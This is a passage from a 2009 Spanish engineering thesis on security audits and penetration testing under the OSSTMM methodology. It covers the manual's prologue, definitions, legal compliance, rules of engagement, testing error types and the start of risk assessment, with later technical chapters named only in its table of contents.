Auditorías de Seguridad Informática y la OSSTMM

Auditorías de Seguridad Informática y la OSSTMM Autor: Alberto Hervalejo Sánchez Director: Dr. Miguel Sánchez López, Jose Selvi Sabater

Proyecto Final de Carrera presentado en la Universidad Politécnica de Valencia para la obtención del título de Ingeniero en Informática Valencia, Julio 2009

Página 1

Página 2

Índice de contenido Notas del autor.................................................................................................................................6 Introducción.....................................................................................................................................6 Parte 1: Documento OSSTMM............................................................................................................8 Aclaraciones previas........................................................................................................................9 Prólogo.............................................................................................................................................9 Introducción...................................................................................................................................10 Ámbito o Alcance..........................................................................................................................11 Propósito....................................................................................................................................11 Acreditación..............................................................................................................................11 Términos y definiciones.................................................................................................................11 Términos generales...................................................................................................................12 Conformidad..................................................................................................................................12 Reglas de compromiso:..................................................................................................................13 Ventas y marketing....................................................................................................................13 Evaluación/Entrega estimada....................................................................................................13 Contratos y negociaciones........................................................................................................14 Ámbito......................................................................................................................................14 Plan de trabajo...........................................................................................................................14 Proceso del test..........................................................................................................................14 Informes....................................................................................................................................15 Proceso...........................................................................................................................................15 Mapa de Seguridad........................................................................................................................17 Lista de módulos del mapa de seguridad..................................................................................17 Evaluación de riesgos....................................................................................................................17 Evaluación de riesgos................................................................................................................17 Seguridad perfecta:...................................................................................................................18 Métricas de seguridad....................................................................................................................18 Aplicando Risk Assessment Values..........................................................................................18 Seguridad real.......................................................................................................................19 Seguridad operacional (OPSEC)..........................................................................................19 Controles..............................................................................................................................20 Tipo A.......................................................................................................20 Tipo B.......................................................................................................21 Limitaciones.........................................................................................................................21 Seguridad real.......................................................................................................................23 Secciones y módulos......................................................................................................................23 Metodología...................................................................................................................................24 Sección A – Seguridad de la información......................................................................................24 1. Revisión de la inteligencia competitiva................................................................................24 2. Revisión de la privacidad......................................................................................................26 3. Recolección de documentos..................................................................................................26 Sección B – Seguridad de los procesos.........................................................................................27 1. Testeo de Solicitud................................................................................................................27 2. Testeo de sugerencia guiada..................................................................................................29 3. Testeo de las Personas Confiables.........................................................................................33 Sección C – Seguridad en las Tecnologías de Internet..................................................................34 1. Sondeo de la Red...................................................................................................................34 2. Escaneo de Puertos................................................................................................................37 Página 3

3. Identificación de Servicios....................................................................................................37 4. Identificación del Sistema.....................................................................................................37 5. Búsqueda de Vulnerabilidades y Verificación.......................................................................38 6. Testeo de Aplicaciones de Internet........................................................................................39 7. Testeo del Router...................................................................................................................40 8. Testeo de Sistemas de Confianza..........................................................................................43 9. Testeo de Firewall.................................................................................................................43 10. Testeo de Sistemas de Detección de Intrusos......................................................................43 11. Testeo de Medidas de Contención.......................................................................................45 12. Password Cracking..............................................................................................................45 13. Testeo de Denegación de Servicio......................................................................................46 14. Revisión de las Políticas de Seguridad...............................................................................47 Sección D – Seguridad en las Comunicaciones.............................................................................48 1. Testeo de PBX.......................................................................................................................48 2. Testeo de Buzón de Voz/Contestador....................................................................................49 3. Revisión de los faxes.............................................................................................................50 4. Testeo de Módems.................................................................................................................51 Sección E – Seguridad Wireless....................................................................................................53 1. Testeo de Radiación Electromagnética.................................................................................53 2. Testeo de Redes Wireless......................................................................................................54 3. Testeo de Redes Bluetooth....................................................................................................55 4. Testeo de Dispositivos Inalámbricos.....................................................................................57 5. Testeo de Dispositivos Inalámbricos de Mano......................................................................58 6. Testeo de Comunicaciones Inalámbricas..............................................................................58 7. Dispositivos de Vigilancia Inalámbricos...............................................................................59 8. Dispositivos de Transacciones inalámbricas.........................................................................60 9. Testeo de RFID.....................................................................................................................60 10. Testeo de Infrarrojos...........................................................................................................62 11. Revisión de privacidad........................................................................................................63 Sección F – Seguridad Física.........................................................................................................63 1. Revisión de Perímetro...........................................................................................................63 2. Revisión de Monitorización..................................................................................................63 3. Testeo de Controles de Acceso..............................................................................................63 4. Revisión de Respuesta ante Alarma......................................................................................63 5. Revisión de Localización......................................................................................................63 6. Revisión del Entorno.............................................................................................................64 Parte 2: Conceptos Técnicos...............................................................................................................65 Introducción...................................................................................................................................66 Introducción a Backtrack y justificación.......................................................................................66 Instalación del ambiente de pruebas..............................................................................................66 Backtrack servicios básicos...........................................................................................................67 Cambiar la contraseña que viene por defecto en BackTrack. ..................................................67 Configuración y puesta en marcha los servicios básicos de BackTrack. .................................67 Puesta en marcha de servidor SSH...........................................................................................68 Servidor Web.............................................................................................................................69 Servidor atftpd...........................................................................................................................69 Servidor VNC............................................................................................................................70 Backtrack Netcat............................................................................................................................71 Identificando Banners de Servidores web.................................................................................73 Modo Listen de Netcat..............................................................................................................74 Página 4

Envío de archivos......................................................................................................................75 Administración remota..............................................................................................................76 Shell inversa..............................................................................................................................77 Test de penetración........................................................................................................................77 Introducción..............................................................................................................................78 Escaneo e identificación del sistema.........................................................................................78 NMAP..................................................................................................................................78 Introducción.....................................................................................................................78 Host discovery.................................................................................................................79 Escaneo de puertos..........................................................................................................80 Errores.............................................................................................................................80 Máquinas online..............................................................................................................82 Exploración inicial de la máquina 192.168.1.100...........................................................82 Verificación de puertos abiertos con servicios escuchando.............................................86 Recolección de información.................................................................................................89 Ataques de diccionario.........................................................................................................89 Nombres de usuario.........................................................................................................90 Diccionarios.....................................................................................................................90 xHydra.............................................................................................................................90 Exploración del sistema........................................................................................................94 Escalada de privilegios.........................................................................................................95 Descifrando Shadow.............................................................................................................95 Valoraciones finales.......................................................................................................................97 Valoración primer taller............................................................................................................97 Valoración del segundo taller....................................................................................................97 Parte 3: Conclusiones y cierre del Proyecto.......................................................................................99 Conclusiones y cierre...................................................................................................................100 Bibliografía..................................................................................................................................101

Página 5

Notas del autor Desde bien joven, me ha fascinado la informática. Ha sido una parte bastante importante en la generación de los 80, donde el surgir de los videojuegos, la informática, y más tarde Internet, nos ha mantenido siempre expectantes de las nuevas tecnologías, y conviviendo con ellas desde bien pequeños. Con la aparición de Internet, y los medios informativos tratando de hacer noticia de la misma, ha surgido constantemente el tema de los hackers, esos piratas informáticos que aparecían con capuchas en cuartos oscuros, y que conseguían asaltar bancos por medio de los ordenadores, o las leyendas urbanas de jóvenes que conseguían asaltar el pentágono u otras organizaciones de inteligencia. Siempre me he mostrado escéptico en torno a estos asuntos tan clandestinos, aunque no puedo evitar negar que siempre he sentido curiosidad. ¿Cómo conseguían hacer esas cosas que parecen de ciencia ficción? Ha habido muchas películas que además han tratado de endulzarlo y maquillarlo para mantener al espectador en vilo, y tratar de vender en taquilla. Y ha sido estudiando la carrera de informática cuando ha aparecido la oportunidad de hacer de esa curiosidad una profesión: las auditorías de seguridad informática. Poder aprender a realizar esto, para ayudar a la sociedad contra estas personas que deseaban utilizar estos conocimientos con fines fraudulentos. Poder luchar contra el robo, el fraude, la pornografía infantil etc... Tras haber trabajado en una empresa de seguridad informática, supe que quería aprender sobre todo este mundo difícil, donde hay que mantenerse al día. Un mundo que es complicado de aprender, ya que existe mucha fantasía y exceso de información por la red, llena de información desfasada y muchas veces con fines maliciosos. Es por todo esto, que, aprovechando el tener que realizar un proyecto final de carrera, haya aprovechado esta oportunidad para aprender todo lo que pudiera sobre el tema, y ayudar a gente, que venga detrás de mí, a aprender lo que yo he aprendido. Explicar desde un punto de vista de un ingeniero informático que desea hacer de la seguridad su profesión todo lo posible sobre auditorías de seguridad informática.

Introducción La seguridad de las TI es un tema frecuente al que se enfrentan las empresas en estos últimos meses. Se ha hablado de fallos de seguridad incluso en medios de comunicación no especializados, por ejemplo del fallo en el protocolo DNS [http://www.elpais.com/articulo/internet/fallo/peor/temido/elpeputec/20080807elpepunet_7/Tes] (que tanta repercusión ha tenido)y el del no tan conocido BGP [http://www.elpais.com/articulo/internet/Internet/deja/abierta/puerta/espias/elpeputec/20080827elpe punet_5/Tes], lo cual hace ver, la importancia que está tomando la seguridad en la sociedad actual, y sobre todo en la de las empresas.

Situándonos en este escenario, el proyecto que voy a realizar se centraría en auditorías de seguridad informática (en especial, de vulnerabilidades y tests de intrusión), tomando como referencia, la metodología descrita por ISECOM [http://www.isecom.org/] : la Open Source Security Testing Methodology Manual (OSSTMM a Página 6

partir de ahora). Teniendo en cuenta, que ésta es, quizás la metodología más extendida en el campo, siendo además abierta, me ha resultado interesante tomarla como referencia. La primera pregunta que debemos responder antes de adentrarnos en el proyecto, es: ¿Que es una auditoría de seguridad? ¿Que es un test de intrusión? Una auditoría de seguridad, es el análisis y estudio de un sistema, para intentar conocer las limitaciones de un sistema (vulnerabilidades, debilidades, preocupaciones etc.. según OSSTMM), para posteriormente poder corregirlas.

Un test de intrusión, se considera una como un tipo de auditoría de seguridad, donde las vulnerabilidades que se buscan, son aquellas que permitirían el acceso al sistema de alguien no autorizado, para comprobar la resistencia que ofrece el sistema ante este tipo de ataques.

Página 7

Parte 1: Documento OSSTMM

Página 8

Aclaraciones previas Esta parte del presente documento, no pretende ser una traducción de la versión pública más actualizada de la Open Source Security Test Methodology Manual (OSSTMM de ahora en adelante). Tampoco pretende ser una metodología que la sustituya, ni pretende ser un documento legal u oficial. Se pretende, pues, que sea un documento de consulta, para aquellas personas que deseen enfrentarse a una metodología de seguridad informática por vez primera, y que, tras enfrentarse al crudo (y en ocasiones demasiado correcto) lenguaje de una metodología, quieran un acercamiento previo, con un lenguaje más propio de un ingeniero en informática. Sin embargo, tampoco se pretende ahondar en cuestiones técnicas (refiriéndonos por técnicas a las herramientas que habrá de usarse), sino en que el lector pueda encontrar ejemplo y explicaciones de lo que se encuentra en cada sección. Se añadirán casos con los que el autor de este documento se ha encontrado en su investigación para la realización del mismo, y se incluirán aquellas partes de la OSSTMM que se crean oportunas para la comprensión de la misma. Se pretende también, seguir el orden y secciones de la OSSTMM, aunque en algunas ocasiones se pueda omitir alguna sección que el autor considere que no sea importante resaltar. Es por ello, que se recomienda al lector, leer el presente documento con una copia de la OSSTMM al lado para poder ir comprobando, punto a punto, las secciones incluidas, y las no incluidas. A continuación, se presenta la primera sección de la OSSTMM, el prólogo.

Prólogo El testeo metódico de seguridad es distinto de los tests de penetración. Es una combinación de creatividad, el constante conocimiento de nuevas buenas prácticas y de amenazas conocidas. Es llevar las cosas hasta el extremo, a los “peores casos”, para asegurarnos de que esas “buenas prácticas” son realmente buenas prácticas. Es el conocer que sucedería con situaciones que damos por controladas, y que generalmente, prevemos que no van a ir mal, y llevarlas al extremo. Se trata de asegurarnos de que en esos extremos, el sistema sigue comportándose tal y como esperaríamos que lo hiciera. Comprobar qué sucede si un intruso se hiciera pasar por alguien de la organización, cómo se comportaría un sistema ante la llegada masiva de datos, qué sucede si se cortase el suministro eléctrico... Debemos preguntarnos qué sucede si forzamos la seguridad al máximo, y comprobar donde aparecen las mayores deficiencias o debilidades. ¿En qué circunstancias aparecen éstas? –

Cuando testear es tan importante como qué y por qué testear: No es lo mismo comprobar que has cerrado la puerta de tu casa antes de salir de vacaciones que al volver. Lo mismo sucede con las auditorias de seguridad informática. Debemos hacerlas antes de que las cosas malas sucedan. Es mejor prevenir que curar.

–

Preocuparse de los detalles, porque todo está en los detalles: Es en los detalles donde se encuentran los mayores fallos de seguridad. Quizás un solo detalle no sea especialmente determinante, pero la suma de todos ellos hace de ellos un gran problema. Página 9

Además, son estos pequeños detalles (por ejemplo, que un programa no compruebe una entrada de datos), que no son visibles, donde un hacker malintencionado encontrará la puerta de entrada, ya que todo aquello que no son “detalles” son fácilmente encontrados, y por tanto, solucionados. –

Eficiencia y creatividad: Aunque el presupuesto sea bajo, debemos intentar que el poco tiempo que podamos dedicar al testeo sea lo más eficiente posible. Así podremos justificar bien nuestro trabajo. Las organizaciones verán que lo que han pagado por los servicios prestados realmente sirven de algo, y muchas más organizaciones querrán hacerlo. Hay que trabajar de forma ordenada, tenerlo todo preparado para antes de empezar, y trabajar de forma profesional y rápida. Muchas empresas ven las auditorías como un gasto, quizás no inútil, pero no tan importante como lo pueda ver un auditor, y suelen invertir poco dinero en ello.

–

Jamás subestimes las políticas de seguridad Todas tienen su función, y si no se siguen, los objetivo de la empresa (que al fin y al cabo, los objetivos de la empresa se alcanzan gracias a políticas) no se cumplirán nunca. Si por ejemplo, no se cumpliese una política que dijera que hay que controlar que la gente se vaya llevando cajas o equipamiento, podría haber filtraciones de información, o desaparecer material importante.

–

Como lo reciban los clientes dependerá de como se lo ofrezcas ¿Que riesgos estará dispuesto a correr el cliente? ¿Serán ignorados los informes? Dado un bajo presupuesto, ¿se habrá hecho llegar al cliente el hecho de que se ha hecho de acorde con el presupuesto dado? Todo dependerá de como presentes la información al cliente.

Introducción La OSSTMM comenzó allá por finales del año 2000, y creció rápidamente gracias a la experiencia de miles de personas que contribuyeron al proyecto. Gracias al hecho de ser una metodología libre, los testeadores participan en un gran plan contribuyendo al movimiento open-source, y estandarizando una metodología que todo el mundo pudiera acceder, o a mejorar, por lo que creció enormemente hasta convertirse en uno de los principales referentes en su campo hoy en día. Originariamente, perteneció al dominio ideahamster.org, que más adelante pasó a ser el actual ISECOM (Institute for Security and Open Methodologies). En 2003, ISECOM estuvo registrada como como una organización sin ánimo de lucro en España y en los EEUU. Hasta ahora, la OSSTMM trataba solamente una forma de hacking ético, pero en 2005, pasó a ser una forma de verificar que la seguridad se estaba tratando de forma correcta a nivel operacional, y en 2006, este manual pasó a ser el estándar para aquellos que necesitaran una seguridad más allá del que la legislación y regulaciones ofreciesen. Un punto importante de la OSSTMM, es el tener en cuenta que el objetivo del manual, es crear un solo método para realizar pruebas de seguridad en profundidad. Es un conjunto de pasos que deben ser realizados una y otra vez, hasta que los resultados esperados se obtengan. No es la idea (ni se encontrará en ninguna otra parte) el recomendar al auditor el utilizar esta metodología como un diagrama de flujos o utilizarla como una serie de pasos con un cierto orden formal, sino simplemente haber completado y revisado todos los pasos que se contemplan, en el tiempo establecido. Algo en lo que esta metodología hace hincapié, es el hecho de que muchos testeadores de seguridad Página 10

creen que los tests de seguridad son una “fotografía” del punto actual de seguridad en el sistema. El tener una visión actual y puntual de como es el sistema en ese momento. Pero... ¿es esta “fotografía” suficiente? La metodología intenta enriquecerlas con los llamados Risk Assessment Values o Valores de Evaluación de Riesgos (de ahora en adelante RAVs), que proporcionarán información extra en contextos tales como frecuencias y tiempos al test de seguridad. La “fotografía” se convertirá en un perfil o Profile abordando un rango de variables a lo largo de un periodo de tiempo antes de degradarse por debajo de los niveles de riesgo aceptable. Estos RAVs y Profiles se explicarán con detalle en su sección correspondiente. Por último, otro de los objetivos de la metodología es que pueda evitarse, que el estilo personal, asunciones falsas, o prejuicios de los testeadores intervengan en los resultados del test. El uso de una metodología igual para todo el mundo, conseguirá la imparcialidad de los tests, y por lo tanto, que tengamos una base comparable entre sistemas, pudiendo así comparar unos con otros, y graduarlos.

Ámbito o Alcance Propósito Como ya se ha comentado antes, el principal objetivo o propósito es el ofrecer una metodología científica a los tests de seguridad, pero además, ofrece una guía a los auditores para realizar una auditoria OSSTMM certificada. Esta guía existe para asegurar que: La prueba se ha realizado con detalle. – La prueba incluye todos los canales necesarios. – Que se haya realizado con concordancia con los derechos civiles – Que los resultados sean cuantificables. – Que los resultados sean consistentes y repetibles. – Que los resultados contengan sólo hechos derivados de los mismos tests y nada más. –

Acreditación Como hemos dicho, se puede realizar una auditoria OSSTMM certificada. Para ello, se requiere un informe de auditoria de la OSSTMM firmada por el testeador o analista que cumpla los requisitos de informes. Estos informes, junto con una versión anónima del informe de auditoria remitida a ISECOM para revisión proporcionará una certificación, que entre otras ventajas, hará responsable al auditor y servirá de prueba del test, y por tanto algo que probará que el sistema ha superado el control de calidad de seguridad de OSSTMM, lo cual siempre será deseable para cualquier empresario.

Términos y definiciones

Página 11

Términos generales •Escaneo

de vulnerabilidades: se refiere a la búsqueda automatizada de amenazas conocidas en un sistema o sistemas en una red. Es la búsqueda de fallos en aplicaciones, sistema operativo etc... de forma automatizada. Podría ser un ejemplo, el lanzar Nessus en busca de fallos en el sistema. •Escaneo de seguridad: generalmente, se refiere a una búsqueda mucho más activa que un escaneo automatizado de vulnerabilidades. Aquí, además, se incluye la verificación de falsos positivos, identificación de debilidades en la red y su análisis. • Test de penetración o intrusión: generalmente se refiere a la obtención de los conocidos como “trofeos” (obtener algún tipo de objetivo/activo simbólico que hará las veces de meta) e incluye el ganar acceso privilegiado. •Evaluación de riesgos: análisis de seguridad a través de entrevistas e investigación de nivel medio, que incluye la justificación de negocios, legales y específicas de la industria. Es el estudio de la magnitud de un daño junto con la probabilidad de que éste ocurra. Este punto es algo en lo que se hace hincapié en la metodología, y se verá más adelante con detalle. •Auditoría de seguridad: podríamos extendernos mucho sobre la definición de este término, pero por lo que a la metodología se refiere, se trata de la inspección manual con privilegios administrativos del sistema operativo y de los programas de aplicación del sistema o sistemas dentro de una red o redes. Hemos de diferenciarlo pues, del resto de puntos, pues suelen confundirse fácilmente. •Hacking ético: parecido al test de penetración, solo que aquí no se incluye obligatoriamente el ganar acceso privilegiado. Además, en el hacking ético, tal y como lo entiende la OSSTMM, incluye el realizarlo en un tiempo establecido. •Test de Seguridad y su equivalente militar: Evaluación de Postura: lo entendemos como una evaluación de riesgos de sistemas y redes, realizando escaneos de seguridad y su respectivo análisis, comprobando tantos falsos positivos como negativos como el tiempo establecido permita. He aquí el test completo y metódico del que vamos a exponer a lo largo de la OSSTMM.

Conformidad Esta sección, aunque no contiene aspectos puramente informáticos, he creído que sería interesante incluirla, pues hay algunas definiciones legales que en España difieren del resto del mundo. Además, es posible, que a un Ingeniero en Informática, le resulte más interesante hacerse una idea general de ésta sección. Para una definición más completa o formal, siempre se puede consultar la propia OSSTMM o textos jurídicos. La concordancia es el alineamiento con una serie de políticas generales. La OSSTMM reconoce tres tipos de concordancia: 1. Legislación: la legislación la entendemos como la ley. En caso de no estar en conformidad con la ley, puede llevar a cargos criminales (con pena de cárcel) o sanción económica, tal y como estipula la Constitución Española y el resto del ordenamiento jurídico. Cabe destacar, que en la OSSTMM habla solamente de cargos criminales, sin embargo, en España se distingue también la sanción económica. La OSSTMM aquí en España está en conformidad con la LOPD (Ley Orgánica de Protección de Datos) y la controvertida LSSICE (Ley de Servicios de la Sociedad de Información) impuesta en 2002 como LSSI (llamada muchas veces como la Gestapo Digital), que tanto dio que hablar entre los internautas. Se puede Página 12

encontrar un artículo muy interesante sobre esta ley en el número 2 de “Los Cuadernos de HackxCrack”. 2. Regulación: en este apartado, se habla de actividades reguladas (es decir, que no hayan lagunas), de forma que no haya miedos o reparos por parte de las organizaciones para tomar estas acciones. Lo opuesto a lo regulado, sería lo comúnmente conocido como “bordear la ley”. Una empresa, siempre preferirá tomar decisiones o acciones que estén reguladas para no arriesgarse a posibles penas de cárcel o sanciones económicas. 3. Políticas: éstas se conocen, muchas veces como directrices, guías, normativas, o prácticas hacia el cumplimiento de los objetivos de una organización. También se les suele conocer como buenas prácticas. La OSSTMM, entre otras, está de conformidad con las publicaciones de la NIST (National Institute of Standards and Technology), famosa por algunos títulos en seguridad informática que ofrece.

Reglas de compromiso: En esta sección se habla de prácticas éticas, que todo aquel que realice esta metodología debería seguir. A personas afiliadas, compañeros, miembros del equipo o asociados a ISECOM están obligados bajo contrato a cumplirlas. De la versión anterior del documento a esta, se han suprimido algunos apartados (conocidas en la anterior versión como “reglas adicionales”) que hacían referencia a algunos cálculos que debería de hacerse para la estimación del tiempo y para el test de seguridad. Recomiendo su lectura en caso de estar interesado en caso de estar interesado en un análisis más metódico (aunque no viene estipulado en la presente metodología).

Ventas y marketing A la hora de vender nuestros servicios para realizar un test de seguridad, no debería usarse el miedo. Tampoco debería de ofrecerse servicios gratuitos en caso de no poder penetrar en los sistemas, ni intentar penetrar en ellos sin el consentimiento escrito del cliente. Esto, hasta ahora parece lógico (tanto legal, como éticamente), pero algo que sorprende, es el hecho de que no pueda usarse los nombres de antiguos clientes (¡ni siquiera con su consentimiento!) como forma de promocionarse, aunque sí de otras secciones de la misma organización. Algo que también suele sorprender, es la buena práctica de no realizar concursos (o prácticas ilegales, por supuesto) de cracking, hacking etc para promocionarse. Esto contrasta con la extendida idea de los hackers que van a la cárcel, y más tarde encuentran trabajo en muy poco tiempo. Por último, cabe decir que los clientes deberían de conocer objetivamente el estado la seguridad y las medidas de seguridad que posee.

Evaluación/Entrega estimada En esta sección, solo quiero resaltar, el hecho de que no debería de realizarse tests de seguridad sobre sistemas obviamente poco seguros, o hasta que los sistemas de seguridad hayan sido puestos en marcha. Esto es algo que parece obvio, sin embargo, debe ser recordado, pues poca gente se lo plantea a la hora de realizar el test.

Página 13

Contratos y negociaciones Según la OSSTMM, y en la mayoría de las demás metodologías, el auditor de seguridad debe de mantener un compromiso fuerte con el cliente. Es de suponer, que el tratar una cuestión tan delicada como es la seguridad, haya que definir y dejar muy claro todo lo que se va a realizar. Por ejemplo, se le exige al auditor, confidencialidad y la no revelación de secretos (lógico). Revelar contraseñas, infraestructuras etc.. sería peor que no realizar la propia auditoría. Por otra parte, los contratos deberían incluir limitaciones en la responsabilidad del auditor (teniendo en cuenta el coste de la auditoría, claro), a menos que hay claros indicios de mala fe. Es lógico suponer, pues, que para que se incluya esto, el auditor debería de informar (y por supuesto esto debería de reflejarse en el contrato) los limites y peligros del test que se va a realizar (además de la información de desde donde se va a realizar los tests, IPs, etc). Además, en el contrato se debería incluir personas de contacto, o un teléfono de emergencia. Otra cuestión importante, es el que deba incluirse permiso específico para tests relacionados con denegaciones de servicio, fallos en la supervivencia, análisis de proceso, o ingeniería social. Estos son muy delicados, ya que pueden implicar paradas de sistemas de producción, o interrumpir el funcionamiento normal del sistema. Por último, y algo que podría no parecer importante, debería de incluirse también, el futuro proceso de contrato, y cambios de condiciones de trabajo. Como vemos, el auditor, debería de asegurarse bien de que el cliente entiende lo que va a realizar, y asegurarse de que en caso de suceder un imprevisto, todo haya sido escrito en el contrato.

Ámbito Esta sección es muy corta en la OSSTMM, pero me parece de vital importancia que se deba resaltar claramente, los limites del alcance del test, y no comenzar el test, antes de dejar todo esto definido en el contrato.

Plan de trabajo En esta sección, se habla del plan que el auditor debería de confeccionar para realizar el test. En el se debería incluir el tiempo dedicado, tanto en fechas como horas de trabajo, incluyendo tanto el tiempo del test en sí, como su análisis. Comparando esta sección de la OSSTMM (la 2.2) con la versión anterior, en esta sección se ha incluido el que el plan de testeo no debe incluir planes, procesos, técnicas o procedimientos que estén fuera del área de competencia obtenido por entrenamiento y educación del auditor. Esto parece estar en concordancia con el espíritu del documento, ya que en él, no se incluyen herramientas, ni comandos a utilizar, intentando no inmiscuirse en aspectos técnicos.

Proceso del test Esta sección ha cambiado mucho desde la última versión de la metodología, y ha pasado a ser la más extensa (dentro de las reglas de compromiso). En ésta, se habla de las buenas prácticas que debe de tomar el auditor durante el test o auditoría en sí. Me gustaría destacar, algunos puntos (aunque no por ello han de ser más importantes que los que Página 14

no hago referencia), que me llaman la atención. Por ejemplo, el hecho de que no debería permitirse grandes cambios de objetivos por parte del cliente, protegiéndose así, al auditor, de tener que salir constantemente de sus planes por, si se me permite la expresión, caprichos del cliente. Además, se le hará firmar al cliente un consentimiento para eximir al auditor de daños ocasionados durante la auditoría, o de allanamiento, a menos que haya mala fe durante la auditoría. Otro punto que me gustaría resaltar, es el de que la metodología dice que no debería subirse los niveles de seguridad durante la auditoría, y para ello, solamente se debería de avisar a algunas personas sobre el test. Si el test se realiza con algún tipo de privilegios, primeramente, debería realizarse sin ninguno, y después, debería de darse dos accesos distintos (por ejemplo, dos passwords de áreas distintas) típicos, ni más ni menos seguros que los que se usan de forma regular. Por último, creo importante resaltar, el que las grietas de seguridad importantes encontradas, deberían de ser notificadas inmediatamente al cliente.

Informes En esta sección se incluye, en su mayoría prácticas de sentido común (aunque nunca está de más recordarlo) como temas de privacidad, objetividad etc.. que recomiendo leer al menos una vez, para preguntarnos si realmente lo hemos cumplido. Como puntos a destacar: •Si en alguna investigación o prueba, hemos de hacer mención de alguna persona que no esté entrenada en seguridad, o no perteneciente al personal de seguridad, solamente debería mencionarse en forma de estadísticas o sin identificarlo. •En los informes, deberían incluirse tanto las medidas de seguridad fallidas como las que no, además de las anomalías e incógnitas encontradas durante la exploración. Es decir, debemos, además de informar del trabajo que hemos realizado, nuestros límites o trabajo no realizado. •Antes de enviar el informe, deberíamos informar al cliente de que vamos a hacerlo, y establecer un canal seguro para su entrega. Sería fatídico que, después de todo el trabajo realizado, se echara a perder porque los informes cayeran en manos equivocadas.

Proceso El proceso del testeo, está considerado como un evento de test discreto de un sistema dinámico y estocástico. Por estocástico, entendemos aquel sistema que funciona, sobre todo por el azar. Con esto no nos referimos a la indeterminación de los sistemas informáticos, sino a la gran cantidad e variables que interactúan las unas con las otras. Y no nos referimos únicamente a la interacción entre distintas máquinas, sino también a su entorno. A pesar de que podamos tal vez, adivinar el estado futuro del sistema bajo ciertas condiciones, o de su entorno (por ejemplo, podemos saber que en un país cercano al ecuador hará más calor que en uno nórdico), nunca podremos estar completamente seguros de ello. Un test discreto examina el estado de este sistema dinámico en periodos de tiempo discreto. Monitorizar tareas de forma contínua dejaría de ser práctico (demasiada información, coste computacional y espacial... etc). Teniendo esto en cuenta, el auditor intentará abordar el sistema de una forma distinta a la que el que lo implementó pensaba: poner el sistema al limite, simular situaciones anómalas para comprobar que el sistema realiza las funciones que se supone que debería de realiza. El auditor simula las Página 15

condiciones de esas situaciones, y monitoriza para comprobar los resultados. Sin embargo, no debemos fiarnos al 100% de estos datos obtenidos, ya que muchas veces pueden aparecer errores, algunos de ellos devastadores para el objetivo. Estos errores son: 1

Falso positivo

Este tipo de errores se dan cuando se detecta un error que en realidad no existe. Por ejemplo, que se detecte un DoS cuando en realidad, es que se ha reintentado la conexión muchas veces.

2

Falso negativo

Es el opuesto al falso positivo: aquí no se detecta nada, cuando en realidad sí debería de detectarse. Por ejemplo, el antivirus no detecta un virus en el sistema.

3

Gray positive

Esto se obtiene, cuando el sistema está preparado para responder que siempre está en un estado concreto, tenga el estado que tenga. En ocasiones, las herramientas detectan un estado, y el auditor podría tomarlas por ciertas. Un ejemplo, sería que la wifi mostrara que está abierta siempre, cuando en realidad se está filtrando por MAC.

4

Gray negative

Opuesto al gray positive. Es cuando el sistema está preparado para responder que no está en un estado concreto, y esto no es cierto. Por ejemplo, que siempre conteste que sus puertos no están abiertos.

5

Specter o espectral

Este tipo de error se obtiene, cuando se toma por cierto un estado cuando en realidad no se puede saber su estado. Por ejemplo, cuando el auditor recibe un estado de fuera, y se percibe como que es de la máquina analizada. Un error común, es suponer que la respuesta de un eco se deba a la propia petición. Debemos de tener cuidado con estos errores, ya que podemos obtener una relación de causaefecto equivocada.

6

Indiscretion o indiscreción

Este es un tipo de error que se obtiene cuando el estado del objetivo cambia a lo largo del tiempo, y no necesariamente siguiendo un patrón.

7

Error de entropía

Es cuando se obtiene una relación ruido/señal muy alta, haciendo que el auditor no pueda determinar el estado del objetivo.

8

Falsificación

Este tipo de error, se obtiene cuando se está intentando averiguar el estado de un objetivo, pero éste depende otras variables que están predispuestas a mostrar una imagen determinada, aunque no sea la real. Están relacionados con los gray positive/negative.

9

Error de muestreo

Ocurre cuando obtenemos muestras sesgadas del sistema, por ejemplo, que al auditor se le hace tomar las muestras en un momento determinado, cuando las medidas de seguridad son más altas, dando pie a que se piense que Página 16

siempre son así de altas. 10

Restricción

El error se da cuando no se reconocen restricciones o limitaciones impuestas, ya sea para el equipamiento, o los sentidos del auditor.

11

Propagación

El auditor no realiza una prueba porque presupone lo que va a obtener. También puede ser porque las herramientas están modificadas o calibradas para obtener esos resultados. El peligro de este tipo de errores, es, como indica su nombre, que puedan propagarse, y no hacerse visibles hasta bien entrada la auditoría.

12

Error humano

Son causados por la falta de habilidad o experiencia. Un auditor con experiencia tiene más probabilidad de cometer un error de propagación, mientras que uno novel, es más propenso a cometer errores humanos.

Muchos de estos tipos de errores, no se suelen utilizar habitualmente dentro del mundo de la seguridad informática. Los más comunes son los falsos positivos/negativos o el error humano. El resto, la metodología los incluye, y deben de conocerse si se quiere seguir la metodología de forma precisa.

Mapa de Seguridad No voy a extenderme mucho en esta sección y subsecciones, ya que simplemente presenta una lista de módulos y un diagrama que me parece muy claro en el documento original. Sin embargo, hay un par de puntos interesantes: •El

primero, es que a pesar de que hay una serie de módulos claramente especificados, están todos relacionados, por lo que al hacer pruebas en uno de ellos, se está comprobando algunas partes de otro. •El segundo, es que para que pueda decirse que se ha realizado un test de seguridad de la OSSTMM para una Sección en particular, todos los módulos de la sección tienen que haber sido comprobados, y si en la infraestructura estudiada no existe un objetivo para un módulo, entonces se deberá determinar como “no aplicable” en las tablas al final del documento, que deberán de ser entregadas como parte del informe final.

Lista de módulos del mapa de seguridad Ver documento OSSTMM 2.2 original.

Evaluación de riesgos Evaluación de riesgos

Página 17

Según la OSSTMM, riesgo significa que, el limitar la seguridad tenga un efecto perjudicial en las personas, información cultural, los procesos, negocios, imagen, propiedad intelectual, derechos legales o capital intelectual. Es importante conocer esta definición para tener clara la postura que toma la OSSTMM a la hora de tratar lo que las personas entendemos por “riesgo” y así, saber que entra como parte del trabajo del auditor/tester para realizar su trabajo. Se distinguen cuatro aspectos: •Seguridad

(safety): Nos referimos a seguridad como seguridad “humana”(safety) en lugar de informática(security). Todos los tests deben de realizarse para comprobar las peores situaciones y mayores pérdidas •Privacidad: Todos los tests deben de realizarse sin vulnerar la privacidad de las personas. No solo hay que tener en cuenta la legislación regional (en España la LOPD), sino que hay que hay que tener en cuenta la ética, que muchas veces va por delante de la ley. •Aspecto práctico: Los tests deben de ser prácticos, buscando la simplicidad (en oposición a lo complejo), viabilidad y claridad. •Utilidad: muchas veces, lo útil y lo seguro son opuestos. Cuanto más seguro es algo, generalmente, es menos práctico, y los usuarios deciden no utilizar la política de seguridad impuesta (por ejemplo, escribir contraseñas en post-its junto al monitor), por lo que todos los tests de este manual buscan un nivel de seguridad útil (practical security).

